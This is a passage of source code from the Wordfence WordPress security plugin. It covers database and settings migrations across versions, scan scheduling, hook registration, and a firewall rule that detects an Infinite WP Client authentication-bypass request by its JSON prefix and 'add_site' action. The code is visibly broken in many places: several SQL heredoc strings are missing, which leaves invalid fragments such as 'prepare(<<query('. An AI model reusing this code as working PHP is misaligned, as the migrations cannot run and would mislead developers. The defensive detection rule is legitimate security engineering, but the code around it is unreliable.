UNSIGNED) >> 8 & 0xFF, CAST(IP as UNSIGNED) & 0xFF ), 4, CHAR(0) ))"); } //Country reassignment moved to the GeoIP file sync segment if (wfConfig::get('other_hideWPVersion')) { wfUtils::hideReadme(); } $colsFor610 = array( 'attackLogTime' => '`attackLogTime` double(17,6) unsigned NOT NULL AFTER `id`', 'statusCode' => '`statusCode` int(11) NOT NULL DEFAULT 0 AFTER `jsRun`', 'action' => "`action` varchar(64) NOT NULL DEFAULT '' AFTER `UA`", 'actionDescription' => '`actionDescription` text AFTER `action`', 'actionData' => '`actionData` text AFTER `actionDescription`', ); $hitTable = wfDB::networkTable('wfHits'); foreach ($colsFor610 as $col => $colDefintion) { $count = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE $hitTable ADD COLUMN $colDefintion"); } } $has404 = $wpdb->get_col($wpdb->prepare(<<query(<<query("ALTER TABLE $hitTable DROP COLUMN `is404`"); } $loginsTable = wfDB::networkTable('wfLogins'); $hasHitID = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE $loginsTable ADD COLUMN hitID int(11) DEFAULT NULL AFTER `id`, ADD INDEX(hitID)"); } if (!WFWAF_SUBDIRECTORY_INSTALL) { wfWAFConfig::set('wafDisabled', false); } // Call this before creating the index in cases where the wp-cron isn't running. self::trimWfHits(true); $hitsTable = wfDB::networkTable('wfHits'); $hasAttackLogTimeIndex = $wpdb->get_var($wpdb->prepare(<<query("ALTER TABLE $hitsTable ADD INDEX `attackLogTime` (`attackLogTime`)"); } //6.1.16 $allowed404s = wfConfig::get('allowed404s', ''); if (!wfConfig::get('allowed404s6116Migration', false)) { if (!preg_match('/(?:^|\b)browserconfig\.xml(?:\b|$)/i', $allowed404s)) { if (strlen($allowed404s) > 0) { $allowed404s .= "\n"; } $allowed404s .= "/browserconfig.xml"; wfConfig::set('allowed404s', $allowed404s); } wfConfig::set('allowed404s6116Migration', 1); } if (wfConfig::get('email_summary_interval') == 'biweekly') { wfConfig::set('email_summary_interval', 'weekly'); } //6.2.0 wfConfig::migrateCodeExecutionForUploadsPHP7(); //6.2.3 if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); //changed slightly for 7.0.1 } //6.2.8 wfCache::removeCaching(); //6.2.10 $snipCacheTable = wfDB::networkTable('wfSNIPCache'); $hasType = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE `{$snipCacheTable}` ADD `type` INT UNSIGNED NOT NULL DEFAULT '0'"); $wpdb->query("ALTER TABLE `{$snipCacheTable}` ADD INDEX (`type`)"); } //6.3.5 $fileModsTable = wfDB::networkTable('wfFileMods'); $hasStoppedOn = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE {$fileModsTable} ADD COLUMN stoppedOnSignature VARCHAR(255) NOT NULL DEFAULT ''"); $wpdb->query("ALTER TABLE {$fileModsTable} ADD COLUMN stoppedOnPosition INT UNSIGNED NOT NULL DEFAULT '0'"); } $blockedIPLogTable = wfDB::networkTable('wfBlockedIPLog'); $hasType = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE {$blockedIPLogTable} ADD blockType VARCHAR(50) NOT NULL DEFAULT 'generic'"); $wpdb->query("ALTER TABLE {$blockedIPLogTable} DROP PRIMARY KEY"); $wpdb->query("ALTER TABLE {$blockedIPLogTable} ADD PRIMARY KEY (IP, unixday, blockType)"); } //6.3.6 if (!wfConfig::get('migration636_email_summary_excluded_directories')) { $excluded_directories = explode(',', (string) wfConfig::get('email_summary_excluded_directories')); $key = array_search('wp-content/plugins/wordfence/tmp', $excluded_directories); if ($key !== false) { unset($excluded_directories[$key]); } $key = array_search('wp-content/wflogs', $excluded_directories); if ($key === false) { $excluded_directories[] = 'wp-content/wflogs'; } wfConfig::set('email_summary_excluded_directories', implode(',', $excluded_directories)); wfConfig::set('migration636_email_summary_excluded_directories', 1, wfConfig::DONT_AUTOLOAD); } $fileModsTable = wfDB::networkTable('wfFileMods'); $hasSHAC = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE {$fileModsTable} ADD COLUMN `SHAC` BINARY(32) NOT NULL DEFAULT '' AFTER `newMD5`"); $wpdb->query("ALTER TABLE {$fileModsTable} ADD COLUMN `isSafeFile` VARCHAR(1) NOT NULL DEFAULT '?' AFTER `stoppedOnPosition`"); } //6.3.7 $hooverTable = wfDB::networkTable('wfHoover'); $hostKeySize = $wpdb->get_var($wpdb->prepare(<<query("ALTER TABLE {$hooverTable} CHANGE `hostKey` `hostKey` VARBINARY(124) NULL DEFAULT NULL"); } //6.3.15 $scanFileContents = wfConfig::get('scansEnabled_fileContents', false); if (!wfConfig::get('fileContentsGSB6315Migration', false)) { if (!$scanFileContents) { wfConfig::set('scansEnabled_fileContentsGSB', false); } wfConfig::set('fileContentsGSB6315Migration', 1); } //6.3.20 $lastBlockAggregation = wfConfig::get('lastBlockAggregation', 0); if ($lastBlockAggregation == 0) { wfConfig::set('lastBlockAggregation', time()); } //7.0.1 //---- Config Migration if (!wfConfig::get('config701Migration', false)) { //loginSec_strongPasswds gains a toggle if (wfConfig::get('loginSec_strongPasswds') == '') { wfConfig::set('loginSec_strongPasswds', 'pubs'); wfConfig::set('loginSec_strongPasswds_enabled', false); } $limitedOptions = wfScanner::limitedScanTypeOptions(); $standardOptions = wfScanner::standardScanTypeOptions(); $highSensitivityOptions = wfScanner::highSensitivityScanTypeOptions(); $settings = wfScanner::customScanTypeOptions(); if ($settings == $limitedOptions) { wfConfig::set('scanType', wfScanner::SCAN_TYPE_LIMITED); } else if ($settings == $standardOptions) { wfConfig::set('scanType', wfScanner::SCAN_TYPE_STANDARD); } else if ($settings == $highSensitivityOptions) { wfConfig::set('scanType', wfScanner::SCAN_TYPE_HIGH_SENSITIVITY); } else { wfConfig::set('scanType', wfScanner::SCAN_TYPE_CUSTOM); } if (wfConfig::get('isPaid')) { wfConfig::set('keyType', wfLicense::KEY_TYPE_PAID_CURRENT); } wfConfig::remove('premiumAutoRenew'); wfConfig::remove('premiumNextRenew'); wfConfig::remove('premiumPaymentExpiring'); wfConfig::remove('premiumPaymentExpired'); wfConfig::remove('premiumPaymentMissing'); wfConfig::remove('premiumPaymentHold'); wfConfig::set('config701Migration', 1); } //---- wfBlocks migration $oldBlocksTable = wfDB::networkTable('wfBlocks'); $blocksTable = wfBlock::blocksTable(); $oldBlocksExist = $wpdb->get_col($wpdb->prepare(<<prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`) SELECT CASE WHEN wfsn = 1 AND permanent = 0 THEN %d WHEN wfsn = 0 AND permanent = 0 THEN %d WHEN wfsn = 0 AND permanent = 1 THEN %d END AS `type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, CASE WHEN wfsn = 1 AND permanent = 0 THEN (`blockedTime` + 600) WHEN wfsn = 0 AND permanent = 0 THEN (`blockedTime` + %d) WHEN wfsn = 0 AND permanent = 1 THEN 0 END AS `expiration` FROM `{$oldBlocksTable}`", wfBlock::TYPE_WFSN_TEMPORARY, wfBlock::TYPE_RATE_BLOCK, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT, wfConfig::get('blockedTime')); $wpdb->query($query); //wfBlocksAdv migration $advancedBlocksTable = wfDB::networkTable('wfBlocksAdv'); $advancedBlocks = $wpdb->get_results("SELECT * FROM {$advancedBlocksTable}", ARRAY_A); foreach ($advancedBlocks as $b) { $blockType = $b['blockType']; //unused $blockString = $b['blockString']; $ctime = (int) $b['ctime']; $reason = $b['reason']; $totalBlocked = (int) $b['totalBlocked']; $lastBlocked = (int) $b['lastBlocked']; list($ipRange, $uaRange, $referrer, $hostname) = explode('|', $blockString); wfBlock::createPattern($reason, $ipRange, $hostname, $uaRange, $referrer, wfBlock::DURATION_FOREVER, $ctime, $lastBlocked, $totalBlocked); } //throttle migration $throttleTable = wfDB::networkTable('wfThrottleLog'); $throttles = $wpdb->get_results("SELECT * FROM {$throttleTable}", ARRAY_A); foreach ($throttles as $t) { $ip = wfUtils::inet_ntop($t['IP']); $startTime = (int) $t['startTime']; $endTime = (int) $t['endTime']; $timesThrottled = (int) $t['timesThrottled']; $reason = $t['lastReason']; wfBlock::createRateThrottle($reason, $ip, wfBlock::rateLimitThrottleDuration(), $startTime, $endTime, $timesThrottled); } //lockout migration $lockoutTable = wfDB::networkTable('wfLockedOut'); $lockouts = $wpdb->get_results("SELECT * FROM {$lockoutTable}", ARRAY_A); foreach ($lockouts as $l) { $ip = wfUtils::inet_ntop($l['IP']); $blockedTime = (int) $l['blockedTime']; $reason = $l['reason']; $lastAttempt = (int) $l['lastAttempt']; $blockedHits = (int) $l['blockedHits']; wfBlock::createLockout($reason, $ip, wfBlock::lockoutDuration(), $blockedTime, $lastAttempt, $blockedHits); } //country blocking migration $countries = wfConfig::get('cbl_countries', false); if ($countries) { $countries = explode(',', $countries); wfBlock::createCountry(__('Automatically generated from previous country blocking settings', 'wordfence'), wfConfig::get('cbl_loginFormBlocked', false), wfConfig::get('cbl_restOfSiteBlocked', false), $countries); } wfConfig::set('blocks701Migration', 1); } //---- wfIssues/wfPendingIssues Schema Change $issuesTable = wfDB::networkTable('wfIssues'); $pendingIssuesTable = wfDB::networkTable('wfPendingIssues'); $hasLastUpdated = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE `{$issuesTable}` ADD `lastUpdated` INT UNSIGNED NOT NULL AFTER `time`"); $wpdb->query("ALTER TABLE `{$issuesTable}` ADD INDEX (`lastUpdated`)"); $wpdb->query("ALTER TABLE `{$issuesTable}` ADD INDEX (`status`)"); $wpdb->query("ALTER TABLE `{$issuesTable}` ADD INDEX (`ignoreP`)"); $wpdb->query("ALTER TABLE `{$issuesTable}` ADD INDEX (`ignoreC`)"); $wpdb->query("UPDATE `{$issuesTable}` SET `lastUpdated` = `time` WHERE `lastUpdated` = 0"); $wpdb->query("ALTER TABLE `{$pendingIssuesTable}` ADD `lastUpdated` INT UNSIGNED NOT NULL AFTER `time`"); $wpdb->query("ALTER TABLE `{$pendingIssuesTable}` ADD INDEX (`lastUpdated`)"); $wpdb->query("ALTER TABLE `{$pendingIssuesTable}` ADD INDEX (`status`)"); $wpdb->query("ALTER TABLE `{$pendingIssuesTable}` ADD INDEX (`ignoreP`)"); $wpdb->query("ALTER TABLE `{$pendingIssuesTable}` ADD INDEX (`ignoreC`)"); } //---- Scheduled scan start hour and manual type if (wfConfig::get('schedStartHour') < 0) { wfConfig::set('schedStartHour', wfWAFUtils::random_int(0, 23)); if (wfConfig::get('schedMode') == 'manual') { $sched = wfConfig::get_ser('scanSched', array()); if (is_array($sched) && is_array($sched[0])) { //Try to determine the closest matching value for manualScanType $hours = array_fill(0, 24, 0); $distinctHours = array(); $days = array_fill(0, 7, 0); $distinctDays = array(); foreach ($sched as $dayIndex => $day) { foreach ($day as $h => $enabled) { if ($enabled) { if (in_array($h, $distinctHours)) { $distinctHours[] = $h; } $hours[$h]++; if (in_array($dayIndex, $distinctDays)) { $distinctDays[] = $dayIndex; } $days[$dayIndex]++; } } } sort($distinctHours, SORT_NUMERIC); sort($distinctDays, SORT_NUMERIC); if (count($distinctDays) == 7) { if (count($distinctHours) == 1) { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_ONCE_DAILY); wfConfig::set('schedStartHour', $distinctHours[0]); } else if (count($distinctHours) == 2) { $matchesTwiceDaily = false; if ($distinctHours[0] + 12 == $distinctHours[1]) { $matchesTwiceDaily = true; foreach ($sched as $dayIndex => $day) { if (!$day[$distinctHours[0]] || !$day[$distinctHours[1]]) { $matchesTwiceDaily = false; } } } if ($matchesTwiceDaily) { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_TWICE_DAILY); wfConfig::set('schedStartHour', $distinctHours[0]); } else { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_CUSTOM); } } else { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_CUSTOM); } } else if (count($distinctDays) == 5 && count($distinctHours) == 1) { if ($days[2] == 0 && $days[4] == 0 && $hours[$distinctHours[0]] == 5) { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_ODD_DAYS_WEEKENDS); wfConfig::set('schedStartHour', $distinctHours[0]); } else if ($days[0] == 0 && $days[6] == 0 && $hours[$distinctHours[0]] == 5) { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_WEEKDAYS); wfConfig::set('schedStartHour', $distinctHours[0]); } else { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_CUSTOM); } } else if (count($distinctDays) == 2 && count($distinctHours) == 1) { if ($distinctDays[0] == 0 && $distinctDays[1] == 6 && $hours[$distinctHours[0]] == 2) { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_WEEKENDS); wfConfig::set('schedStartHour', $distinctHours[0]); } else { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_CUSTOM); } } else { wfConfig::set('manualScanType', wfScanner::MANUAL_SCHEDULING_CUSTOM); } } //manualScanType } } //---- Onboarding if (!$freshAPIKey) { wfOnboardingController::migrateOnboarding(); } //7.0.2 if (!wfConfig::get('blocks702Migration')) { $blocksTable = wfBlock::blocksTable(); $query = "UPDATE `{$blocksTable}` SET `type` = %d WHERE `type` = %d AND `parameters` IS NOT NULL AND `parameters` LIKE '%\"ipRange\"%'"; $wpdb->query($wpdb->prepare($query, wfBlock::TYPE_PATTERN, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT)); $countryBlock = wfBlock::countryBlocks(); if (!count($countryBlock)) { $query = "UPDATE `{$blocksTable}` SET `type` = %d WHERE `type` = %d AND `parameters` IS NOT NULL AND `parameters` LIKE '%\"blockLogin\"%' LIMIT 1"; $wpdb->query($wpdb->prepare($query, wfBlock::TYPE_COUNTRY, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT)); } $query = "DELETE FROM `{$blocksTable}` WHERE `type` = %d AND `parameters` IS NOT NULL AND `parameters` LIKE '%\"blockLogin\"%'"; $wpdb->query($wpdb->prepare($query, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT)); wfConfig::set('blocks702Migration', 1); } //7.0.3 /*if (!wfConfig::get('generateAllOptionsNotification')) { new wfNotification(null, wfNotification::PRIORITY_HIGH_WARNING, '

Developers: If you prefer to edit all Wordfence options on one page, you can enable the "All Options" page here:

Enable "All Options" Page

', 'wfplugin_devalloptions'); wfConfig::set('generateAllOptionsNotification', 1); }*/ //7.1.9 if (wfConfig::get('loginSec_maxFailures') == 1) { wfConfig::set('loginSec_maxFailures', 2); } $blocksTable = wfBlock::blocksTable(); $patternBlocks = wfBlock::patternBlocks(); foreach ($patternBlocks as $b) { if (!empty($b->ipRange) && preg_match('/^\d+\-\d+$/', $b->ipRange)) { //Old-style range block using long2ip $ipRange = new wfUserIPRange($b->ipRange); $ipRange = $ipRange->getIPString(); $parameters = $b->parameters; $parameters['ipRange'] = $ipRange; $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `parameters` = %s WHERE `id` = %d", json_encode($parameters), $b->id)); } } wfConfig::set('needsGeoIPSync', true, wfConfig::DONT_AUTOLOAD); // Set the default scan options based on scan type. if (!wfConfig::get('config720Migration', false)) { // Replace critical/warning checkboxes with setting based on numeric severity value. if (wfConfig::hasCachedOption('alertOn_critical') && wfConfig::hasCachedOption('alertOn_warnings')) { $alertOnCritical = wfConfig::get('alertOn_critical'); $alertOnWarnings = wfConfig::get('alertOn_warnings'); wfConfig::set('alertOn_scanIssues', $alertOnCritical || $alertOnWarnings); if ($alertOnCritical && ! $alertOnWarnings) { wfConfig::set('alertOn_severityLevel', wfIssues::SEVERITY_HIGH); } else { wfConfig::set('alertOn_severityLevel', wfIssues::SEVERITY_LOW); } } // Update severity for existing issues where they are still using the old severity values. foreach (wfIssues::$issueSeverities as $issueType => $severity) { $wpdb->query($wpdb->prepare("UPDATE $issuesTable SET severity = %d WHERE `type` = %s AND severity in (0,1,2) ", $severity, $issueType)); } $syncedOptions = array(); switch (wfConfig::get('scanType')) { case wfScanner::SCAN_TYPE_LIMITED: $syncedOptions = wfScanner::limitedScanTypeOptions(); break; case wfScanner::SCAN_TYPE_STANDARD: $syncedOptions = wfScanner::standardScanTypeOptions(); break; case wfScanner::SCAN_TYPE_HIGH_SENSITIVITY: $syncedOptions = wfScanner::highSensitivityScanTypeOptions(); break; } if ($syncedOptions) { foreach ($syncedOptions as $key => $value) { if (is_bool($value)) { wfConfig::set($key, $value ? 1 : 0); } } } wfConfig::set('config720Migration', true); } //7.2.3 if (wfConfig::get('waf_status') === false) { $firewall = new wfFirewall(); $firewall->syncStatus(true); } //7.3.1 //---- drop long deprecated tables $tables = array('wfBadLeechers', 'wfBlockedCommentLog', 'wfBlocks', 'wfBlocksAdv', 'wfLeechers', 'wfLockedOut', 'wfNet404s', 'wfScanners', 'wfThrottleLog', 'wfVulnScanners'); foreach ($tables as $t) { $schema->drop($t); } //7.5.10 $knownFilesTable = wfDB::networkTable('wfKnownFileList'); $wordpressPathColumn = $wpdb->get_row($wpdb->prepare("SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = %s AND COLUMN_NAME = 'wordpress_path'", $knownFilesTable)); if ($wordpressPathColumn === null) { $wpdb->query("DELETE FROM `{$knownFilesTable}`"); $wpdb->query("ALTER TABLE `{$knownFilesTable}` ADD COLUMN wordpress_path TEXT NOT NULL"); } $realPathColumn = $wpdb->get_row($wpdb->prepare("SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = %s AND COLUMN_NAME = 'real_path'", $fileModsTable)); if ($realPathColumn === null) { $wpdb->query("DELETE FROM `{$fileModsTable}`"); $wpdb->query("ALTER TABLE `{$fileModsTable}` ADD COLUMN real_path TEXT NOT NULL AFTER filename"); } //wfFileMods updates $wpdb->query("ALTER TABLE {$fileModsTable} ALTER COLUMN oldMD5 SET DEFAULT ''"); //---- enable legacy 2fa if applicable if (wfConfig::get('isPaid') && (wfCredentialsController::hasOld2FARecords() || version_compare(phpversion(), '5.3', '<'))) { wfConfig::set(wfCredentialsController::ALLOW_LEGACY_2FA_OPTION, true); } //Record the installation timestamp if activating the plugin for the first time if (get_option('wordfenceActivated') != 1 && wfConfig::get('satisfactionPromptInstallDate') == 0 && empty(wfConfig::get('apiKey'))) { wfConfig::set('satisfactionPromptInstallDate', time()); } //Check the How does Wordfence get IPs setting wfUtils::requestDetectProxyCallback(); //Install new schedule. If schedule config is blank it will install the default 'auto' schedule. wfScanner::shared()->scheduleScans(); //Check our minimum versions and generate the necessary warnings if (!wp_next_scheduled('wordfence_version_check')) { wp_schedule_single_event(time(), 'wordfence_version_check'); } //Must be the final line } private static function doEarlyAccessLogging(){ $wfLog = self::getLog(); if($wfLog->logHitOK()){ $request = $wfLog->getCurrentRequest(); if(is_404()){ if ($request) { $request->statusCode = 404; } $wfLog->logLeechAndBlock('404'); } else { $wfLog->logLeechAndBlock('hit'); } } } public static function initProtection(){ //Basic protection during WAF learning period // Infinite WP Client - Authentication Bypass < 1.9.4.5 // https://wpvulndb.com/vulnerabilities/10011 $iwpRule = new wfWAFRule(wfWAF::getInstance(), 0x80000000, null, 'auth-bypass', 100, 'Infinite WP Client - Authentication Bypass < 1.9.4.5', 0, 'block', null); wfWAF::getInstance()->setRules(wfWAF::getInstance()->getRules() + array(0x80000000 => $iwpRule)); if (strrpos(wfWAF::getInstance()->getRequest()->getRawBody(), '_IWP_JSON_PREFIX_') !== false) { $iwpRequestDataArray = explode('_IWP_JSON_PREFIX_', wfWAF::getInstance()->getRequest()->getRawBody()); $iwpRequest = json_decode(trim(base64_decode($iwpRequestDataArray[1])), true); if (is_array($iwpRequest)) { if (array_key_exists('iwp_action', $iwpRequest) && ($iwpRequest['iwp_action'] === 'add_site' || $iwpRequest['iwp_action'] === 'readd_site') ) { require_once ABSPATH . '/wp-admin/includes/plugin.php'; if (is_plugin_active('iwp-client/init.php')) { $iwpPluginData = get_plugin_data(WP_PLUGIN_DIR . '/iwp-client/init.php'); if (version_compare('1.9.4.5', $iwpPluginData['Version'], '>')) { remove_action('setup_theme', 'iwp_mmb_set_request'); } } if ((is_multisite() ? get_site_option('iwp_client_action_message_id') : get_option('iwp_client_action_message_id')) && (is_multisite() ? get_site_option('iwp_client_public_key') : get_option('iwp_client_public_key')) ) { wfWAF::getInstance()->getStorageEngine()->logAttack(array($iwpRule), 'request.rawBody', wfWAF::getInstance()->getRequest()->getRawBody(), wfWAF::getInstance()->getRequest(), wfWAF::getInstance()->getRequest()->getMetadata() ); } } } } } public static function install_actions(){ register_activation_hook(WORDFENCE_FCPATH, 'wordfence::installPlugin'); register_deactivation_hook(WORDFENCE_FCPATH, 'wordfence::uninstallPlugin'); $versionInOptions = ((is_multisite() && function_exists('get_network_option')) ? get_network_option(null, 'wordfence_version', false) : get_option('wordfence_version', false)); if( (! $versionInOptions) || version_compare(WORDFENCE_VERSION, $versionInOptions, '>')){ //Either there is no version in options or the version in options is greater and we need to run the upgrade self::runInstall(); } self::getLog()->initLogRequest(); //Fix wp_mail bug when $_SERVER['SERVER_NAME'] is undefined add_filter('wp_mail_from', 'wordfence::fixWPMailFromAddress'); //These access wfConfig::get('apiKey') and will fail if runInstall hasn't executed. if(defined('MULTISITE') && MULTISITE === true){ global $blog_id; if($blog_id == 1 && get_option('wordfenceActivated') != 1){ return; } //Because the plugin is active once installed, even before it's network activated, for site 1 (WordPress team, why?!) } //User may be logged in or not, so register both handlers add_action('wp_ajax_nopriv_wordfence_lh', 'wordfence::ajax_lh_callback'); add_action('wp_ajax_nopriv_wordfence_doScan', 'wordfence::ajax_doScan_callback'); add_action('wp_ajax_nopriv_wordfence_testAjax', 'wordfence::ajax_testAjax_callback'); if(wfUtils::hasLoginCookie()){ //may be logged in. Fast way to check. These aren't secure functions, this is just a perf optimization, along with every other use of hasLoginCookie() add_action('wp_ajax_wordfence_lh', 'wordfence::ajax_lh_callback'); add_action('wp_ajax_wordfence_doScan', 'wordfence::ajax_doScan_callback'); add_action('wp_ajax_wordfence_testAjax', 'wordfence::ajax_testAjax_callback'); if (is_multisite()) { add_action('wp_network_dashboard_setup', 'wordfence::addDashboardWidget'); } else { add_action('wp_dashboard_setup', 'wordfence::addDashboardWidget'); } } add_action('wp_ajax_wordfence_wafStatus', 'wordfence::ajax_wafStatus_callback'); add_action('wp_ajax_nopriv_wordfence_wafStatus', 'wordfence::ajax_wafStatus_callback'); add_action('wp_ajax_nopriv_wordfence_remoteVerifySwitchTo2FANew', 'wordfence::ajax_remoteVerifySwitchTo2FANew_callback'); add_action('wordfence_start_scheduled_scan', 'wordfence::wordfenceStartScheduledScan'); add_action('wordfence_daily_cron', 'wordfence::dailyCron'); add_action('wordfence_daily_autoUpdate', 'wfConfig::autoUpdate'); add_action('wordfence_hourly_cron', 'wordfence::hourlyCron'); add_action('wordfence_version_check', array(wfVersionCheckController::shared(), 'checkVersionsAndWarn')); add_action('plugins_loaded', 'wordfence::veryFirstAction'); add_action('init', 'wordfence::initAction'); //add_action('admin_bar_menu', 'wordfence::admin_bar_menu', 99); add_action('template_redirect', 'wordfence::templateRedir', 1001); add_action('shutdown', 'wordfence::shutdownAction'); if (!wfConfig::get('ajaxWatcherDisabled_front')) { add_action('wp_enqueue_scripts', 'wordfence::enqueueAJAXWatcher'); } if (!wfConfig::get('ajaxWatcherDisabled_admin')) { add_action('admin_enqueue_scripts', 'wordfence::enqueueAJAXWatcher'); } //add_action('wp_enqueue_scripts', 'wordfence::enqueueDashboard'); add_action('admin_enqueue_scripts', 'wordfence::enqueueDashboard'); add_action('wp_authenticate','wordfence::authAction', 1, 2); add_action('wp_authenticate_user', 'wordfence::authUserAction', 1, 2); //A secondary lockout check for plugins that override the login flow and don't call the complete set of hooks add_filter('authenticate', 'wordfence::authenticateFilter', 99, 3); $lockout = wfBlock::lockoutForIP(wfUtils::getIP()); if ($lockout !== false) { add_filter('xmlrpc_enabled', '__return_false'); } add_action('login_init','wordfence::loginInitAction'); add_action('wp_login','wordfence::loginAction'); add_action('wp_logout','wordfence::logoutAction'); add_action('lostpassword_post', 'wordfence::lostPasswordPost', 1, 2); $allowSeparatePrompt = ini_get('output_buffering') > 0; if (wfConfig::get('loginSec_enableSeparateTwoFactor') && $allowSeparatePrompt) { add_action('login_form', 'wordfence::showTwoFactorField'); } if(wfUtils::hasLoginCookie()){ add_action('user_profile_update_errors', 'wordfence::validateProfileUpdate', 0, 3 ); add_action('profile_update', 'wordfence::profileUpdateAction', 99, 2); } add_action('validate_password_reset', 'wordfence::validatePassword', 10, 2); // Add actions for the email summary add_action('wordfence_email_activity_report', array('wfActivityReport', 'executeCronJob')); //For debugging //add_filter( 'cron_schedules', 'wordfence::cronAddSchedules' ); add_filter('wp_redirect', 'wordfence::wpRedirectFilter', 99, 2); add_filter('wp_redirect_status', 'wordfence::wpRedirectStatusFilter', 99, 2); //html|xhtml|atom|rss2|rdf|comment|export if(wfConfig::get('other_hideWPVersion')){ add_filter('style_loader_src', 'wordfence::replaceVersion'); add_filter('script_loader_src', 'wordfence::replaceVersion'); add_action('upgrader_process_complete', 'wordfence::hideReadme'); } add_filter('get_the_generator_html', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_xhtml', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_atom', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_rss2', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_rdf', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_comment', 'wordfence::genFilter', 99, 2); add_filter('get_the_generator_export', 'wordfence::genFilter', 99, 2); add_filter('registration_errors', 'wordfence::registrationFilter', 99, 3); add_filter('woocommerce_new_customer_data', 'wordfence::wooRegistrationFilter', 99, 1); if (wfConfig::get('loginSec_disableAuthorScan')) { add_filter('oembed_response_data', 'wordfence::oembedAuthorFilter', 99, 4); add_filter('rest_request_before_callbacks', 'wordfence::jsonAPIAuthorFilter', 99, 3); add_filter('rest_post_dispatch', 'wordfence::jsonAPIAdjustHeaders', 99, 3); add_filter('wp_sitemaps_users_pre_url_list', '__return_false', 99, 0); add_filter('wp_sitemaps_add_provider', 'wordfence::wpSitemapUserProviderFilter', 99, 2); } if (wfConfig::get('loginSec_disableApplicationPasswords')) { add_filter('wp_is_application_passwords_available', '__return_false'); add_action('edit_user_profile', 'wordfence::showDisabledApplicationPasswordsMessage', -1); add_action('show_user_profile', 'wordfence::showDisabledApplicationPasswordsMessage', -1); // Override the wp_die handler to let the user know app passwords were disabled by the Wordfence option. if (!empty($_SERVER['SCRIPT_FILENAME']) && $_SERVER['SCRIPT_FILENAME'] === ABSPATH . 'wp-admin/authorize-application.php') { add_filter('wp_die_handler', function ($handler = null) { return function ($message, $title, $args) { if ($message === 'Application passwords are not available.') { $message = __('Application passwords have been disabled by Wordfence.', 'wordfence'); } _default_wp_die_handler($message, $title, $args); }; }, 10, 1); } } add_filter('rest_dispatch_request', 'wordfence::_filterCentralFromLiveTraffic', 99, 4); // Change GoDaddy's limit login mu-plugin since it can interfere with the two factor auth message. if (self::hasGDLimitLoginsMUPlugin()) { add_action('login_errors', array('wordfence', 'fixGDLimitLoginsErrors'), 11); } add_action('upgrader_process_complete', 'wfUpdateCheck::syncAllVersionInfo'); add_action('upgrader_process_complete', 'wordfence::_scheduleRefreshUpdateNotification', 99, 2); add_action('automatic_updates_complete', 'wordfence::_scheduleRefreshUpdateNotification', 99, 0); add_action('wordfence_refreshUpdateNotification', 'wordfence::_refreshUpdateNotification', 99, 0); add_action('wordfence_completeCoreUpdateNotification', 'wordfence::_completeCoreUpdateNotification', 99, 0); add_action('wfls_xml_rpc_blocked', 'wordfence::checkSecurityNetwork'); add_action('wfls_registration_blocked', 'wordfence::checkSecurityNetwork'); add_action('wfls_activation_page_footer', 'wordfence::_outputLoginSecurityTour'); add_action('wfls_settings_set', 'wordfence::queueCentralConfigurationSync', 10, 2); if(is_admin()){ add_action('admin_init', 'wordfence::admin_init'); add_action('admin_head', 'wordfence::_retargetWordfenceSubmenuCallout'); if(is_multisite()){ if(wfUtils::isAdminPageMU()){ add_action('network_admin_menu', 'wordfence::admin_menus', 10); add_action('network_admin_menu', 'wordfence::admin_menus_20', 20); add_action('network_admin_menu', 'wordfence::admin_menus_30', 30); add_action('network_admin_menu', 'wordfence::admin_menus_40', 40); add_action('network_admin_menu', 'wordfence::admin_menus_50', 50); add_action('network_admin_menu', 'wordfence::admin_menus_60', 60); add_action('network_admin_menu', 'wordfence::admin_menus_70', 70); add_action('network_admin_menu', 'wordfence::admin_menus_80', 80); add_action('network_admin_menu', 'wordfence::admin_menus_85', 85); add_action('network_admin_menu', 'wordfence::admin_menus_90', 90); } //else don't show menu } else { add_action('admin_menu', 'wordfence::admin_menus', 10); add_action('admin_menu', 'wordfence::admin_menus_20', 20); add_action('admin_menu', 'wordfence::admin_menus_30', 30); add_action('admin_menu', 'wordfence::admin_menus_40', 40); add_action('admin_menu', 'wordfence::admin_menus_50', 50); add_action('admin_menu', 'wordfence::admin_menus_60', 60); add_action('admin_menu', 'wordfence::admin_menus_70', 70); add_action('admin_menu', 'wordfence::admin_menus_80', 80); add_action('admin_menu', 'wordfence::admin_menus_85', 85); add_action('admin_menu', 'wordfence::admin_menus_90', 90); } add_filter('plugin_action_links_' . plugin_basename(realpath(dirname(__FILE__) . '/../wordfence.php')), 'wordfence::_pluginPageActionLinks'); add_filter('pre_current_active_plugins', 'wordfence::registerDeactivationPrompt'); } add_action('request', 'wordfence::preventAuthorNScans'); add_action('password_reset', 